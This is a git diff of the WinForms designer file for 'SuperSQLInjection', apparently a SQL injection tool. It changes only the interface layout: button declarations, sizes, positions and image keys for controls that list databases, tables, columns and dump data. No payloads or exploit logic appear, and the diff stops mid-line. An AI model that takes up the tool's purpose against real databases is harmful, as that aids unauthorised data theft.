diff --git a/SuperSQLInjection/Main.Designer.cs b/SuperSQLInjection/Main.Designer.cs index ddc8d0a..f6124f2 100644 --- a/SuperSQLInjection/Main.Designer.cs +++ b/SuperSQLInjection/Main.Designer.cs @@ -88,6 +88,8 @@ this.tabC_dataCenter = new System.Windows.Forms.TabControl(); this.tab_vers = new System.Windows.Forms.TabPage(); this.toolStrip_getVers = new System.Windows.Forms.ToolStrip(); + this.toolStrip_vers_btn_getVariable = new System.Windows.Forms.ToolStripButton(); + this.toolStrip_vers_btn_stopGetVariable = new System.Windows.Forms.ToolStripButton(); this.data_lvw_ver = new System.Windows.Forms.ListView(); this.data_lvw_ver_verName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.data_lvw_ver_val = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -101,6 +103,8 @@ this.spc_dbs = new System.Windows.Forms.SplitContainer(); this.data_dbs_ts = new System.Windows.Forms.ToolStrip(); this.data_dbs_tsl_getDBS = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_getTables = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_getColumns = new System.Windows.Forms.ToolStripButton(); this.groupBox2 = new System.Windows.Forms.GroupBox(); this.data_tvw_dbs = new System.Windows.Forms.TreeView(); this.data_cms_dbs = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -120,8 +124,11 @@ this.data_dbs_txt_start = new System.Windows.Forms.ToolStripTextBox(); this.toolStripLabel1 = new System.Windows.Forms.ToolStripLabel(); this.data_dbs_txt_count = new System.Windows.Forms.ToolStripTextBox(); + this.data_dbs_tsl_getDatas = new System.Windows.Forms.ToolStripButton(); + this.data_dbs_tsl_exportDatas = new System.Windows.Forms.ToolStripButton(); this.toolStripLabel2 = new System.Windows.Forms.ToolStripLabel(); this.data_dbs_cob_db_encoding = new System.Windows.Forms.ToolStripComboBox(); + this.data_dbs_tsl_stopGetDatas = new System.Windows.Forms.ToolStripLabel(); this.groupBox4 = new System.Windows.Forms.GroupBox(); this.data_dbs_lvw_data = new System.Windows.Forms.ListView(); this.cms_data_dbs_lvw_data = new System.Windows.Forms.ContextMenuStrip(this.components); @@ -359,13 +366,6 @@ this.timer_status = new System.Windows.Forms.Timer(this.components); this.timer_scanInjection = new System.Windows.Forms.Timer(this.components); this.menuStrip_main = new System.Windows.Forms.MenuStrip(); - this.toolStrip_vers_btn_getVariable = new System.Windows.Forms.ToolStripButton(); - this.toolStrip_vers_btn_stopGetVariable = new System.Windows.Forms.ToolStripButton(); - this.data_dbs_tsl_getTables = new System.Windows.Forms.ToolStripButton(); - this.data_dbs_tsl_getColumns = new System.Windows.Forms.ToolStripButton(); - this.data_dbs_tsl_getDatas = new System.Windows.Forms.ToolStripButton(); - this.data_dbs_tsl_exportDatas = new System.Windows.Forms.ToolStripButton(); - this.data_dbs_tsl_stopGetDatas = new System.Windows.Forms.ToolStripLabel(); this.tsmi_menu = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_openConfig = new System.Windows.Forms.ToolStripMenuItem(); this.tsmi_saveConfig = new System.Windows.Forms.ToolStripMenuItem(); @@ -632,15 +632,6 @@ // this.cbox_basic_dbType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbox_basic_dbType.FormattingEnabled = true; - this.cbox_basic_dbType.Items.AddRange(new object[] { - "未 知", - "Access", - "MySQL", - "SQLServer", - "Oracle", - "PostgreSQL", - "DB2", - "SQLite"}); this.cbox_basic_dbType.Location = new System.Drawing.Point(489, 50); this.cbox_basic_dbType.Name = "cbox_basic_dbType"; this.cbox_basic_dbType.Size = new System.Drawing.Size(87, 20); @@ -661,7 +652,7 @@ this.cbox_basic_injectType.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.cbox_basic_injectType.FormattingEnabled = true; this.cbox_basic_injectType.Items.AddRange(new object[] { - "未 知", + "UnKnow", "盲 注", "显错注入", "Union注入"}); @@ -730,9 +721,9 @@ this.gb_logo.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.gb_logo.Controls.Add(this.txt_log); - this.gb_logo.Location = new System.Drawing.Point(9, 607); + this.gb_logo.Location = new System.Drawing.Point(9, 612); this.gb_logo.Name = "gb_logo"; - this.gb_logo.Size = new System.Drawing.Size(839, 125); + this.gb_logo.Size = new System.Drawing.Size(839, 143); this.gb_logo.TabIndex = 3; this.gb_logo.TabStop = false; this.gb_logo.Text = "日志"; @@ -744,7 +735,7 @@ this.txt_log.Location = new System.Drawing.Point(3, 17); this.txt_log.Name = "txt_log"; this.txt_log.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.ForcedVertical; - this.txt_log.Size = new System.Drawing.Size(833, 105); + this.txt_log.Size = new System.Drawing.Size(833, 123); this.txt_log.TabIndex = 0; this.txt_log.Text = ""; // @@ -752,9 +743,9 @@ // this.tab_logCenter.Controls.Add(this.splitContainer1); this.tab_logCenter.ImageKey = "log.png"; - this.tab_logCenter.Location = new System.Drawing.Point(4, 33); + this.tab_logCenter.Location = new System.Drawing.Point(4, 32); this.tab_logCenter.Name = "tab_logCenter"; - this.tab_logCenter.Size = new System.Drawing.Size(832, 444); + this.tab_logCenter.Size = new System.Drawing.Size(832, 450); this.tab_logCenter.TabIndex = 3; this.tab_logCenter.Text = "日志中心"; this.tab_logCenter.UseVisualStyleBackColor = true; @@ -773,8 +764,8 @@ // splitContainer1.Panel2 // this.splitContainer1.Panel2.Controls.Add(this.groupBox6); - this.splitContainer1.Size = new System.Drawing.Size(832, 444); - this.splitContainer1.SplitterDistance = 221; + this.splitContainer1.Size = new System.Drawing.Size(832, 450); + this.splitContainer1.SplitterDistance = 222; this.splitContainer1.TabIndex = 2; // // groupBox5 @@ -783,7 +774,7 @@ this.groupBox5.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox5.Location = new System.Drawing.Point(0, 0); this.groupBox5.Name = "groupBox5"; - this.groupBox5.Size = new System.Drawing.Size(832, 221); + this.groupBox5.Size = new System.Drawing.Size(832, 222); this.groupBox5.TabIndex = 0; this.groupBox5.TabStop = false; this.groupBox5.Text = "数据包历史记录"; @@ -803,7 +794,7 @@ this.log_lvw_httpLog.FullRowSelect = true; this.log_lvw_httpLog.Location = new System.Drawing.Point(3, 17); this.log_lvw_httpLog.Name = "log_lvw_httpLog"; - this.log_lvw_httpLog.Size = new System.Drawing.Size(826, 201); + this.log_lvw_httpLog.Size = new System.Drawing.Size(826, 202); this.log_lvw_httpLog.TabIndex = 1; this.log_lvw_httpLog.UseCompatibleStateImageBehavior = false; this.log_lvw_httpLog.View = System.Windows.Forms.View.Details; @@ -872,7 +863,7 @@ this.groupBox6.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox6.Location = new System.Drawing.Point(0, 0); this.groupBox6.Name = "groupBox6"; - this.groupBox6.Size = new System.Drawing.Size(832, 219); + this.groupBox6.Size = new System.Drawing.Size(832, 224); this.groupBox6.TabIndex = 1; this.groupBox6.TabStop = false; this.groupBox6.Text = "数据包详情"; @@ -886,7 +877,7 @@ this.tabControl2.Location = new System.Drawing.Point(3, 17); this.tabControl2.Name = "tabControl2"; this.tabControl2.SelectedIndex = 0; - this.tabControl2.Size = new System.Drawing.Size(826, 199); + this.tabControl2.Size = new System.Drawing.Size(826, 204); this.tabControl2.TabIndex = 0; // // tabPage3 @@ -895,7 +886,7 @@ this.tabPage3.Location = new System.Drawing.Point(4, 22); this.tabPage3.Name = "tabPage3"; this.tabPage3.Padding = new System.Windows.Forms.Padding(3); - this.tabPage3.Size = new System.Drawing.Size(818, 173); + this.tabPage3.Size = new System.Drawing.Size(818, 178); this.tabPage3.TabIndex = 0; this.tabPage3.Text = "请 求"; this.tabPage3.UseVisualStyleBackColor = true; @@ -907,7 +898,7 @@ this.log_txt_request.Multiline = true; this.log_txt_request.Name = "log_txt_request"; this.log_txt_request.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.log_txt_request.Size = new System.Drawing.Size(812, 167); + this.log_txt_request.Size = new System.Drawing.Size(812, 172); this.log_txt_request.TabIndex = 0; // // tabPage4 @@ -916,7 +907,7 @@ this.tabPage4.Location = new System.Drawing.Point(4, 22); this.tabPage4.Name = "tabPage4"; this.tabPage4.Padding = new System.Windows.Forms.Padding(3); - this.tabPage4.Size = new System.Drawing.Size(818, 173); + this.tabPage4.Size = new System.Drawing.Size(818, 179); this.tabPage4.TabIndex = 1; this.tabPage4.Text = "响 应"; this.tabPage4.UseVisualStyleBackColor = true; @@ -928,7 +919,7 @@ this.log_txt_response.Multiline = true; this.log_txt_response.Name = "log_txt_response"; this.log_txt_response.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.log_txt_response.Size = new System.Drawing.Size(812, 167); + this.log_txt_response.Size = new System.Drawing.Size(812, 173); this.log_txt_response.TabIndex = 1; this.log_txt_response.KeyDown += new System.Windows.Forms.KeyEventHandler(this.log_txt_response_KeyDown); // @@ -937,7 +928,7 @@ this.tabPage1.Controls.Add(this.webBro_log); this.tabPage1.Location = new System.Drawing.Point(4, 22); this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new System.Drawing.Size(818, 173); + this.tabPage1.Size = new System.Drawing.Size(818, 179); this.tabPage1.TabIndex = 2; this.tabPage1.Text = "在浏览器中显示"; this.tabPage1.UseVisualStyleBackColor = true; @@ -948,7 +939,7 @@ this.webBro_log.Location = new System.Drawing.Point(0, 0); this.webBro_log.MinimumSize = new System.Drawing.Size(21, 20); this.webBro_log.Name = "webBro_log"; - this.webBro_log.Size = new System.Drawing.Size(818, 173); + this.webBro_log.Size = new System.Drawing.Size(818, 179); this.webBro_log.TabIndex = 1; // // tab_file @@ -956,28 +947,32 @@ this.tab_file.Controls.Add(this.file_txt_result); this.tab_file.Controls.Add(this.groupBox7); this.tab_file.ImageKey = "editFile.png"; - this.tab_file.Location = new System.Drawing.Point(4, 33); + this.tab_file.Location = new System.Drawing.Point(4, 32); this.tab_file.Name = "tab_file"; - this.tab_file.Size = new System.Drawing.Size(832, 444); + this.tab_file.Size = new System.Drawing.Size(832, 450); this.tab_file.TabIndex = 4; this.tab_file.Text = "文件操作"; this.tab_file.UseVisualStyleBackColor = true; // // file_txt_result // - this.file_txt_result.Dock = System.Windows.Forms.DockStyle.Fill; - this.file_txt_result.Location = new System.Drawing.Point(0, 66); + this.file_txt_result.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.file_txt_result.Location = new System.Drawing.Point(3, 72); this.file_txt_result.MaxLength = 3276700; this.file_txt_result.Multiline = true; this.file_txt_result.Name = "file_txt_result"; this.file_txt_result.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.file_txt_result.Size = new System.Drawing.Size(832, 378); + this.file_txt_result.Size = new System.Drawing.Size(826, 378); this.file_txt_result.TabIndex = 0; this.file_txt_result.TextChanged += new System.EventHandler(this.file_txt_result_TextChanged); this.file_txt_result.KeyDown += new System.Windows.Forms.KeyEventHandler(this.file_txt_result_KeyDown); // // groupBox7 // + this.groupBox7.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); this.groupBox7.Controls.Add(this.file_btn_stop); this.groupBox7.Controls.Add(this.file_btn_start); this.groupBox7.Controls.Add(this.file_cbox_readWrite); @@ -985,10 +980,9 @@ this.groupBox7.Controls.Add(this.label14); this.groupBox7.Controls.Add(this.cbox_file_readFileEncoding); this.groupBox7.Controls.Add(this.label24); - this.groupBox7.Dock = System.Windows.Forms.DockStyle.Top; - this.groupBox7.Location = new System.Drawing.Point(0, 0); + this.groupBox7.Location = new System.Drawing.Point(3, 3); this.groupBox7.Name = "groupBox7"; - this.groupBox7.Size = new System.Drawing.Size(832, 66); + this.groupBox7.Size = new System.Drawing.Size(826, 63); this.groupBox7.TabIndex = 0; this.groupBox7.TabStop = false; this.groupBox7.Text = "文件操作"; @@ -996,7 +990,7 @@ // file_btn_stop // this.file_btn_stop.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.file_btn_stop.Location = new System.Drawing.Point(747, 30); + this.file_btn_stop.Location = new System.Drawing.Point(742, 22); this.file_btn_stop.Name = "file_btn_stop"; this.file_btn_stop.Size = new System.Drawing.Size(69, 23); this.file_btn_stop.TabIndex = 12; @@ -1007,7 +1001,7 @@ // file_btn_start // this.file_btn_start.FlatStyle = System.Windows.Forms.FlatStyle.Flat; - this.file_btn_start.Location = new System.Drawing.Point(659, 30); + this.file_btn_start.Location = new System.Drawing.Point(658, 22); this.file_btn_start.Name = "file_btn_start"; this.file_btn_start.Size = new System.Drawing.Size(69, 23); this.file_btn_start.TabIndex = 12; @@ -1019,7 +1013,7 @@ // this.file_cbox_readWrite.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.file_cbox_readWrite.FormattingEnabled = true; - this.file_cbox_readWrite.Location = new System.Drawing.Point(409, 30); + this.file_cbox_readWrite.Location = new System.Drawing.Point(408, 24); this.file_cbox_readWrite.Name = "file_cbox_readWrite"; this.file_cbox_readWrite.Size = new System.Drawing.Size(229, 20); this.file_cbox_readWrite.TabIndex = 2; @@ -1027,7 +1021,7 @@ // // file_txt_filePath // - this.file_txt_filePath.Location = new System.Drawing.Point(85, 30); + this.file_txt_filePath.Location = new System.Drawing.Point(84, 24); this.file_txt_filePath.Name = "file_txt_filePath"; this.file_txt_filePath.Size = new System.Drawing.Size(157, 21); this.file_txt_filePath.TabIndex = 1; @@ -1035,7 +1029,7 @@ // label14 // this.label14.AutoSize = true; - this.label14.Location = new System.Drawing.Point(33, 33); + this.label14.Location = new System.Drawing.Point(32, 27); this.label14.Name = "label14"; this.label14.Size = new System.Drawing.Size(47, 12); this.label14.TabIndex = 0; @@ -1049,7 +1043,7 @@ "GB2312", "GBK", "ISO-8859-1"}); - this.cbox_file_readFileEncoding.Location = new System.Drawing.Point(325, 30); + this.cbox_file_readFileEncoding.Location = new System.Drawing.Point(324, 24); this.cbox_file_readFileEncoding.Name = "cbox_file_readFileEncoding"; this.cbox_file_readFileEncoding.Size = new System.Drawing.Size(79, 20); this.cbox_file_readFileEncoding.TabIndex = 8; @@ -1058,7 +1052,7 @@ // label24 // this.label24.AutoSize = true; - this.label24.Location = new System.Drawing.Point(253, 33); + this.label24.Location = new System.Drawing.Point(252, 27); this.label24.Name = "label24"; this.label24.Size = new System.Drawing.Size(65, 12); this.label24.TabIndex = 2; @@ -1068,10 +1062,10 @@ // this.tab_dataCenter.Controls.Add(this.tabC_dataCenter); this.tab_dataCenter.ImageKey = "db.png"; - this.tab_dataCenter.Location = new System.Drawing.Point(4, 33); + this.tab_dataCenter.Location = new System.Drawing.Point(4, 32); this.tab_dataCenter.Name = "tab_dataCenter"; this.tab_dataCenter.Padding = new System.Windows.Forms.Padding(3); - this.tab_dataCenter.Size = new System.Drawing.Size(832, 444); + this.tab_dataCenter.Size = new System.Drawing.Size(832, 450); this.tab_dataCenter.TabIndex = 1; this.tab_dataCenter.Text = "数据中心"; this.tab_dataCenter.UseVisualStyleBackColor = true; @@ -1086,7 +1080,7 @@ this.tabC_dataCenter.Name = "tabC_dataCenter"; this.tabC_dataCenter.Padding = new System.Drawing.Point(6, 6); this.tabC_dataCenter.SelectedIndex = 0; - this.tabC_dataCenter.Size = new System.Drawing.Size(826, 438); + this.tabC_dataCenter.Size = new System.Drawing.Size(826, 444); this.tabC_dataCenter.TabIndex = 2; // // tab_vers @@ -1097,7 +1091,7 @@ this.tab_vers.Location = new System.Drawing.Point(4, 29); this.tab_vers.Name = "tab_vers"; this.tab_vers.Padding = new System.Windows.Forms.Padding(3); - this.tab_vers.Size = new System.Drawing.Size(818, 405); + this.tab_vers.Size = new System.Drawing.Size(818, 411); this.tab_vers.TabIndex = 0; this.tab_vers.Text = "环境变量"; this.tab_vers.UseVisualStyleBackColor = true; @@ -1109,12 +1103,30 @@ this.toolStrip_getVers.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStrip_vers_btn_getVariable, this.toolStrip_vers_btn_stopGetVariable}); - this.toolStrip_getVers.Location = new System.Drawing.Point(3, 377); + this.toolStrip_getVers.Location = new System.Drawing.Point(3, 383); this.toolStrip_getVers.Name = "toolStrip_getVers"; this.toolStrip_getVers.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip_getVers.Size = new System.Drawing.Size(812, 25); this.toolStrip_getVers.TabIndex = 1; // + // toolStrip_vers_btn_getVariable + // + this.toolStrip_vers_btn_getVariable.Image = global::SuperSQLInjection.Properties.Resources.getvers; + this.toolStrip_vers_btn_getVariable.ImageTransparentColor = System.Drawing.Color.Magenta; + this.toolStrip_vers_btn_getVariable.Name = "toolStrip_vers_btn_getVariable"; + this.toolStrip_vers_btn_getVariable.Size = new System.Drawing.Size(100, 22); + this.toolStrip_vers_btn_getVariable.Text = "获取环境变量"; + this.toolStrip_vers_btn_getVariable.Click += new System.EventHandler(this.toolStrip_vers_btn_getVariable_Click); + // + // toolStrip_vers_btn_stopGetVariable + // + this.toolStrip_vers_btn_stopGetVariable.Image = global::SuperSQLInjection.Properties.Resources.stop; + this.toolStrip_vers_btn_stopGetVariable.ImageTransparentColor = System.Drawing.Color.Magenta; + this.toolStrip_vers_btn_stopGetVariable.Name = "toolStrip_vers_btn_stopGetVariable"; + this.toolStrip_vers_btn_stopGetVariable.Size = new System.Drawing.Size(76, 22); + this.toolStrip_vers_btn_stopGetVariable.Text = "停止获取"; + this.toolStrip_vers_btn_stopGetVariable.Click += new System.EventHandler(this.toolStrip_vers_btn_stopGetVariable_Click); + // // data_lvw_ver // this.data_lvw_ver.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -1128,7 +1140,7 @@ this.data_lvw_ver.FullRowSelect = true; this.data_lvw_ver.Location = new System.Drawing.Point(3, 3); this.data_lvw_ver.Name = "data_lvw_ver"; - this.data_lvw_ver.Size = new System.Drawing.Size(812, 371); + this.data_lvw_ver.Size = new System.Drawing.Size(812, 372); this.data_lvw_ver.TabIndex = 0; this.data_lvw_ver.UseCompatibleStateImageBehavior = false; this.data_lvw_ver.View = System.Windows.Forms.View.Details; @@ -1196,7 +1208,7 @@ this.tab_dbs.Location = new System.Drawing.Point(4, 29); this.tab_dbs.Name = "tab_dbs"; this.tab_dbs.Padding = new System.Windows.Forms.Padding(3); - this.tab_dbs.Size = new System.Drawing.Size(818, 405); + this.tab_dbs.Size = new System.Drawing.Size(818, 411); this.tab_dbs.TabIndex = 1; this.tab_dbs.Text = "数据库信息"; this.tab_dbs.UseVisualStyleBackColor = true; @@ -1216,7 +1228,7 @@ // this.spc_dbs.Panel2.Controls.Add(this.toolStrip1); this.spc_dbs.Panel2.Controls.Add(this.groupBox4); - this.spc_dbs.Size = new System.Drawing.Size(812, 399); + this.spc_dbs.Size = new System.Drawing.Size(812, 405); this.spc_dbs.SplitterDistance = 240; this.spc_dbs.SplitterWidth = 3; this.spc_dbs.TabIndex = 5; @@ -1230,7 +1242,7 @@ this.data_dbs_tsl_getTables, this.data_dbs_tsl_getColumns}); this.data_dbs_ts.LayoutStyle = System.Windows.Forms.ToolStripLayoutStyle.HorizontalStackWithOverflow; - this.data_dbs_ts.Location = new System.Drawing.Point(0, 374); + this.data_dbs_ts.Location = new System.Drawing.Point(0, 380); this.data_dbs_ts.Name = "data_dbs_ts"; this.data_dbs_ts.Padding = new System.Windows.Forms.Padding(5, 0, 0, 0); this.data_dbs_ts.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; @@ -1247,6 +1259,24 @@ this.data_dbs_tsl_getDBS.Text = "获 取 库"; this.data_dbs_tsl_getDBS.Click += new System.EventHandler(this.data_dbs_tsl_getDBS_Click); // + // data_dbs_tsl_getTables + // + this.data_dbs_tsl_getTables.Image = global::SuperSQLInjection.Properties.Resources.getvers; + this.data_dbs_tsl_getTables.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getTables.Name = "data_dbs_tsl_getTables"; + this.data_dbs_tsl_getTables.Size = new System.Drawing.Size(72, 22); + this.data_dbs_tsl_getTables.Text = "获 取 表"; + this.data_dbs_tsl_getTables.Click += new System.EventHandler(this.data_dbs_tsl_getTables_Click); + // + // data_dbs_tsl_getColumns + // + this.data_dbs_tsl_getColumns.Image = global::SuperSQLInjection.Properties.Resources.getvers; + this.data_dbs_tsl_getColumns.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getColumns.Name = "data_dbs_tsl_getColumns"; + this.data_dbs_tsl_getColumns.Size = new System.Drawing.Size(72, 22); + this.data_dbs_tsl_getColumns.Text = "获 取 列"; + this.data_dbs_tsl_getColumns.Click += new System.EventHandler(this.data_dbs_tsl_getColumns_Click); + // // groupBox2 // this.groupBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) @@ -1255,7 +1285,7 @@ this.groupBox2.Controls.Add(this.data_tvw_dbs); this.groupBox2.Location = new System.Drawing.Point(5, 6); this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(235, 367); + this.groupBox2.Size = new System.Drawing.Size(235, 373); this.groupBox2.TabIndex = 0; this.groupBox2.TabStop = false; this.groupBox2.Text = "数据库信息"; @@ -1272,7 +1302,7 @@ this.data_tvw_dbs.Location = new System.Drawing.Point(3, 17); this.data_tvw_dbs.Name = "data_tvw_dbs"; this.data_tvw_dbs.SelectedImageIndex = 6; - this.data_tvw_dbs.Size = new System.Drawing.Size(229, 347); + this.data_tvw_dbs.Size = new System.Drawing.Size(229, 353); this.data_tvw_dbs.TabIndex = 0; this.data_tvw_dbs.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.data_tvw_dbs_AfterCheck); this.data_tvw_dbs.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.data_tvw_dbs_AfterSelect); @@ -1389,7 +1419,7 @@ this.toolStripLabel2, this.data_dbs_cob_db_encoding, this.data_dbs_tsl_stopGetDatas}); - this.toolStrip1.Location = new System.Drawing.Point(0, 374); + this.toolStrip1.Location = new System.Drawing.Point(0, 380); this.toolStrip1.Name = "toolStrip1"; this.toolStrip1.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip1.Size = new System.Drawing.Size(569, 25); @@ -1423,6 +1453,26 @@ this.data_dbs_txt_count.Size = new System.Drawing.Size(49, 25); this.data_dbs_txt_count.Text = "1"; // + // data_dbs_tsl_getDatas + // + this.data_dbs_tsl_getDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_getDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_getDatas.Image"))); + this.data_dbs_tsl_getDatas.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_getDatas.Name = "data_dbs_tsl_getDatas"; + this.data_dbs_tsl_getDatas.Size = new System.Drawing.Size(60, 22); + this.data_dbs_tsl_getDatas.Text = "获取数据"; + this.data_dbs_tsl_getDatas.Click += new System.EventHandler(this.data_dbs_tsl_getDatas_Click); + // + // data_dbs_tsl_exportDatas + // + this.data_dbs_tsl_exportDatas.DisplayStyle = System.Windows.Forms.ToolStripItemDisplayStyle.Text; + this.data_dbs_tsl_exportDatas.Image = ((System.Drawing.Image)(resources.GetObject("data_dbs_tsl_exportDatas.Image"))); + this.data_dbs_tsl_exportDatas.ImageTransparentColor = System.Drawing.Color.Magenta; + this.data_dbs_tsl_exportDatas.Name = "data_dbs_tsl_exportDatas"; + this.data_dbs_tsl_exportDatas.Size = new System.Drawing.Size(60, 22); + this.data_dbs_tsl_exportDatas.Text = "导出数据"; + this.data_dbs_tsl_exportDatas.Click += new System.EventHandler(this.data_dbs_tsl_exportDatas_Click); + // // toolStripLabel2 // this.toolStripLabel2.Name = "toolStripLabel2"; @@ -1441,13 +1491,22 @@ this.data_dbs_cob_db_encoding.Size = new System.Drawing.Size(89, 25); this.data_dbs_cob_db_encoding.TextChanged += new System.EventHandler(this.data_dbs_cob_db_encoding_TextChanged); // + // data_dbs_tsl_stopGetDatas + // + this.data_dbs_tsl_stopGetDatas.Image = global::SuperSQLInjection.Properties.Resources.stop; + this.data_dbs_tsl_stopGetDatas.Margin = new System.Windows.Forms.Padding(10, 0, 0, 2); + this.data_dbs_tsl_stopGetDatas.Name = "data_dbs_tsl_stopGetDatas"; + this.data_dbs_tsl_stopGetDatas.Size = new System.Drawing.Size(72, 23); + this.data_dbs_tsl_stopGetDatas.Text = "停止获取"; + this.data_dbs_tsl_stopGetDatas.Click += new System.EventHandler(this.data_dbs_tsl_stopGetDatas_Click); + // // groupBox4 // this.groupBox4.Controls.Add(this.data_dbs_lvw_data); this.groupBox4.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox4.Location = new System.Drawing.Point(0, 0); this.groupBox4.Name = "groupBox4"; - this.groupBox4.Size = new System.Drawing.Size(569, 399); + this.groupBox4.Size = new System.Drawing.Size(569, 405); this.groupBox4.TabIndex = 1; this.groupBox4.TabStop = false; this.groupBox4.Text = "获取数据"; @@ -1461,7 +1520,7 @@ this.data_dbs_lvw_data.GridLines = true; this.data_dbs_lvw_data.Location = new System.Drawing.Point(3, 17); this.data_dbs_lvw_data.Name = "data_dbs_lvw_data"; - this.data_dbs_lvw_data.Size = new System.Drawing.Size(563, 379); + this.data_dbs_lvw_data.Size = new System.Drawing.Size(563, 385); this.data_dbs_lvw_data.TabIndex = 1; this.data_dbs_lvw_data.UseCompatibleStateImageBehavior = false; this.data_dbs_lvw_data.View = System.Windows.Forms.View.Details; @@ -1501,18 +1560,18 @@ // this.myicon_list.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("myicon_list.ImageStream"))); this.myicon_list.TransparentColor = System.Drawing.Color.Transparent; - this.myicon_list.Images.SetKeyName(0, "Image_1.png"); - this.myicon_list.Images.SetKeyName(1, "cmd.png"); - this.myicon_list.Images.SetKeyName(2, "codeChange.png"); - this.myicon_list.Images.SetKeyName(3, "config.png"); - this.myicon_list.Images.SetKeyName(4, "convert.png"); - this.myicon_list.Images.SetKeyName(5, "db.png"); - this.myicon_list.Images.SetKeyName(6, "editFile.png"); - this.myicon_list.Images.SetKeyName(7, "log.png"); - this.myicon_list.Images.SetKeyName(8, "tools.png"); - this.myicon_list.Images.SetKeyName(9, "scan.png"); - this.myicon_list.Images.SetKeyName(10, "Ilog.png"); - this.myicon_list.Images.SetKeyName(11, "proxy.png"); + this.myicon_list.Images.SetKeyName(0, "config.png"); + this.myicon_list.Images.SetKeyName(1, "db.png"); + this.myicon_list.Images.SetKeyName(2, "proxy.png"); + this.myicon_list.Images.SetKeyName(3, "editFile.png"); + this.myicon_list.Images.SetKeyName(4, "cmd.png"); + this.myicon_list.Images.SetKeyName(5, "bypass.png"); + this.myicon_list.Images.SetKeyName(6, "convert.png"); + this.myicon_list.Images.SetKeyName(7, "Image_1.png"); + this.myicon_list.Images.SetKeyName(8, "scan.png"); + this.myicon_list.Images.SetKeyName(9, "Ilog.png"); + this.myicon_list.Images.SetKeyName(10, "log.png"); + this.myicon_list.Images.SetKeyName(11, "tools.png"); this.myicon_list.Images.SetKeyName(12, "vers.png"); this.myicon_list.Images.SetKeyName(13, "dbinfo.png"); this.myicon_list.Images.SetKeyName(14, "HTTP.png"); @@ -1522,10 +1581,10 @@ this.tab_injectCenter.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; this.tab_injectCenter.Controls.Add(this.groupBox1); this.tab_injectCenter.ImageKey = "config.png"; - this.tab_injectCenter.Location = new System.Drawing.Point(4, 33); + this.tab_injectCenter.Location = new System.Drawing.Point(4, 32); this.tab_injectCenter.Name = "tab_injectCenter"; this.tab_injectCenter.Padding = new System.Windows.Forms.Padding(3); - this.tab_injectCenter.Size = new System.Drawing.Size(832, 444); + this.tab_injectCenter.Size = new System.Drawing.Size(832, 450); this.tab_injectCenter.TabIndex = 0; this.tab_injectCenter.Text = "注入中心"; this.tab_injectCenter.UseVisualStyleBackColor = true; @@ -1537,7 +1596,7 @@ this.groupBox1.Dock = System.Windows.Forms.DockStyle.Fill; this.groupBox1.Location = new System.Drawing.Point(3, 3); this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(826, 438); + this.groupBox1.Size = new System.Drawing.Size(826, 444); this.groupBox1.TabIndex = 1; this.groupBox1.TabStop = false; // @@ -1550,11 +1609,12 @@ this.tabControl1.Controls.Add(this.tab_tokenset); this.tabControl1.Controls.Add(this.tab_sencond_inject); this.tabControl1.ImageList = this.myicon_list; + this.tabControl1.ItemSize = new System.Drawing.Size(118, 25); this.tabControl1.Location = new System.Drawing.Point(6, 13); this.tabControl1.Name = "tabControl1"; - this.tabControl1.Padding = new System.Drawing.Point(6, 6); + this.tabControl1.Padding = new System.Drawing.Point(0, 0); this.tabControl1.SelectedIndex = 0; - this.tabControl1.Size = new System.Drawing.Size(565, 418); + this.tabControl1.Size = new System.Drawing.Size(565, 424); this.tabControl1.TabIndex = 14; // // tab_datapack @@ -1564,7 +1624,7 @@ this.tab_datapack.Location = new System.Drawing.Point(4, 29); this.tab_datapack.Name = "tab_datapack"; this.tab_datapack.Padding = new System.Windows.Forms.Padding(3); - 